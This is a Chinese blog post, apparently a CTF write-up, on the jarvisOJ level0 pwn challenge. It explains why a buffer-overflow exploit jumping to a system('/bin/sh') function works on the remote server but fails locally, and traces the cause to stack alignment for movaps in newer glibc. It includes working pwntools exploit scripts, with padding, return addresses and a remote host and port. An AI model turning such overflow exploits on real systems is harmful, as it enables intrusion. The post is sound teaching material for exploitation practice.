关于jarvisOJ level0远程打得通本地打不通的问题

本文记录了一次pwn题目调试过程中遇到的xmm寄存器问题,详细解释了如何调整exp以确保rsp与16对齐,解决了因glibc版本差异导致的本地调试失败。

今天给学弟演示最简单的pwn题的时候居然翻车了,没想到还是这个xmm寄存器的问题,我tcl,记录一下。
原来的exp是这样。
就是很简单的调用这个callsystem
在这里插入图片描述

结果本地打不通。试了下远程,发现能打通,太奇怪了。

from pwn import*  
r=gdb.debug("./pwn_02","b* 0x00400597")  
#r=remote("52.82.121.166", 28068)
#r=process("./pwn_02")
pad=b'a'*0x88  
add=p64(0x400596)
payload=pad+add  
print(r.recv())
r.send(payload)  
r.interactive()  

通过gdb调试发现,跳到这里就断了。
在这里插入图片描述
我本地调试系统是ubuntu 18,在bin群里问了问,组长肥猫嘤嘤告诉我是xmm寄存器的问题,当glibc版本大于2.27的时候,系统调用system("/bin/sh")之前有个xmm寄存器使用。要确保rsp是与16对齐的,也就是末尾必须是0.
在这里插入图片描述
在这里插入图片描述
由于xmm寄存器是128bit又用了movaps指令,故必须让rsp的地址能够整除16,解决方法就是少push一个寄存器。
在这里插入图片描述
让指令跳转到400597,本地exp如下:

from pwn import*  
r=gdb.debug("./pwn_02","b* 0x00400597")  
#r=remote("52.82.121.166", 28068)
#r=process("./pwn_02")
pad=b'a'*0x88  
add=p64(0x400597)
payload=pad+add  
print(r.recv())
r.send(payload)  
r.interactive()  

使用cat /proc/version发现我的本地调试环境是ubuntu 18而jarvis oj本地的环境也是ubuntu18 那么为什么会不同呢,就是glibc版本的问题,使用

ldd --version

查看发现我的glibc版本是

ldd (Ubuntu GLIBC 2.27-3ubuntu1.2) 2.27

jarvisOJ的版本是:

ldd (Ubuntu EGLIBC 2.19-0ubuntu6.15) 2.19

看来就是libc的问题,与系统版本无关。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值